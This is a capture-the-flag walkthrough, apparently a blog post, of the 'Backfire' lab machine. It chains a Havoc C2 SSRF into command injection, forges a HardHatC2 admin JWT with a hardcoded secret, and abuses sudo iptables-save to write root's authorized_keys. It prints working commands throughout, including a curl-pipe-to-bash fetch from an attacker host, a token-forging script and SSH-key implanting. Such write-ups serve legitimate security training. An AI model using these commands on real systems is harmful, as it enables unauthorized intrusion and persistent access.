Post

Hacking Backfire

Backfire chains an exposed Havoc C2 SSRF into WebSocket RCE, abuses a second C2 (HardHatC2) with a default JWT secret to move to a service account, and escalates via a passwordless sudo iptables-save arbitrary file write.

Hacking Backfire

Overview

Backfire is a medium Linux box built around red-team infrastructure. The foothold abuses an exposed Havoc command-and-control server: a server-side request forgery (CVE-2024-41570) is pivoted into Havoc’s localhost WebSocket API and turned into RCE through the implant-compile process. From there a second C2, HardHatC2, is running locally with its default hardcoded JWT secret — we forge an admin token, register our own operator, and use the built-in terminal (which runs as sergej) to move laterally. Finally, sergej can run iptables-save as root, which is an arbitrary file write that we use to overwrite root’s authorized_keys.

Recon

PortServiceNotes
22OpenSSH 9.2p1 
443nginx 1.22.1reverse proxy / Havoc redirector
8000nginx 1.22.1directory listing
1
nmap -p- -sV -T4 10.129.13.140

Enumeration

Port 8000 has a directory listing exposing two files — disable_tls.patch (which downgrades Havoc’s WebSocket to plaintext) and havoc.yaotl, a Havoc C2 profile.

1
curl http://10.129.13.140:8000/havoc.yaotl

The profile leaks operator credentials and tells us the teamserver’s WebSocket listener is on 127.0.0.1:40056:

  • ilya:CobaltStr1keSuckz!
  • sergej:1w4nt2sw1tch2h4rdh4tc2

Foothold

Havoc <= 0.7 is vulnerable to CVE-2024-41570: a spoofed demon-agent registration lets an unauthenticated attacker open arbitrary TCP sockets from the teamserver — a server-side request forgery. We use that socket to speak the WebSocket protocol to the localhost teamserver API, authenticate as ilya, and inject a command into the demon’s Service Name build field — the value reaches the compiler command line, giving us command injection that runs as ilya during payload compilation.

We serve a payload that drops our SSH key into ilya’s account.

Create web/test:

1
2
3
4
mkdir -p /home/ilya/.ssh
echo '<attacker-ssh-pubkey>' >> /home/ilya/.ssh/authorized_keys
chmod 700 /home/ilya/.ssh
chmod 600 /home/ilya/.ssh/authorized_keys
1
2
3
python3 -m http.server 80 --bind <lhost> &
echo 'curl <lhost>/test|bash' | python3 cand.py -t https://10.129.13.140/ -i 127.0.0.1 -p 40056 -U ilya -P '<pass>'
ssh -i ilya_key [email protected]

User flag

1
cat /home/ilya/user.txt   # HTB{...}

Access as ilya achieved.

Lateral Movement

ilya’s home note mentions sergej installed HardHatC2 “with defaults.” Internally, HardHatC2 exposes a TeamServer API on 5000 and a Blazor UI on 7096 — both firewalled off externally, so we forward them through SSH.

1
ssh -i ilya_key -L 5000:127.0.0.1:5000 -L 7096:127.0.0.1:7096 -N [email protected] &

HardHatC2 ships a hardcoded JWT signing key in appsettings.json — a textbook use of hard-coded credentials. We forge an Administrator token and hit the admin-only registration endpoint, which creates a real account (the server hashes the plaintext for us).

Create /tmp/hh.jwt:

1
2
3
4
5
6
7
8
9
10
import jwt, uuid, datetime
secret = "jtee43gt-6543-2iur-9422-83r5w27hgzaq"
claims = {
    "sub": "HardHat_Admin",
    "jti": str(uuid.uuid4()),
    "http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "Administrator",
    "iss": "hardhatc2.com", "aud": "hardhatc2.com",
    "exp": datetime.datetime.utcnow() + datetime.timedelta(hours=999),
}
open("/tmp/hh.jwt", "w").write(jwt.encode(claims, secret, algorithm="HS256"))
1
curl -k -X POST https://127.0.0.1:5000/Login/Register -H "Authorization: Bearer $(cat /tmp/hh.jwt)" -H 'Content-Type: application/json' -d '{"Username":"pwn2","Password":"<pass>","Role":"TeamLead"}'

We register with role TeamLead (not Administrator) because the implant-interact page is gated to Operator/TeamLead. Then we log into the 7096 web UI as that user, open ImplantInteract → Terminal → new tab, and run a command — the HardHatC2 terminal executes host-side as the teamserver account sergej:

1
mkdir -p /home/sergej/.ssh && echo '<attacker-ssh-pubkey>' >> /home/sergej/.ssh/authorized_keys && chmod 600 /home/sergej/.ssh/authorized_keys
1
2
ssh -i ilya_key [email protected]
sudo -l

Privilege Escalation

sergej may run iptables and iptables-save as root with no password:

1
2
(root) NOPASSWD: /usr/sbin/iptables
(root) NOPASSWD: /usr/sbin/iptables-save

iptables-save -f <file> writes the ruleset to any path as root, and iptables preserves a rule’s --comment text verbatim — including newlines. By embedding a newline-wrapped SSH key in a comment and saving the ruleset over root’s authorized_keys, our key lands on its own valid line; sshd ignores the surrounding iptables-save syntax. This is external control of a file path granted by a careless sudoers rule.

1
2
3
sudo /usr/sbin/iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'\n<attacker-ssh-pubkey>\n'
sudo /usr/sbin/iptables-save -f /root/.ssh/authorized_keys
ssh -i ilya_key [email protected]

Root flag

1
cat /root/root.txt          # HTB{...}

Full compromise — uid=0(root).

This post is licensed under CC BY 4.0 by the author.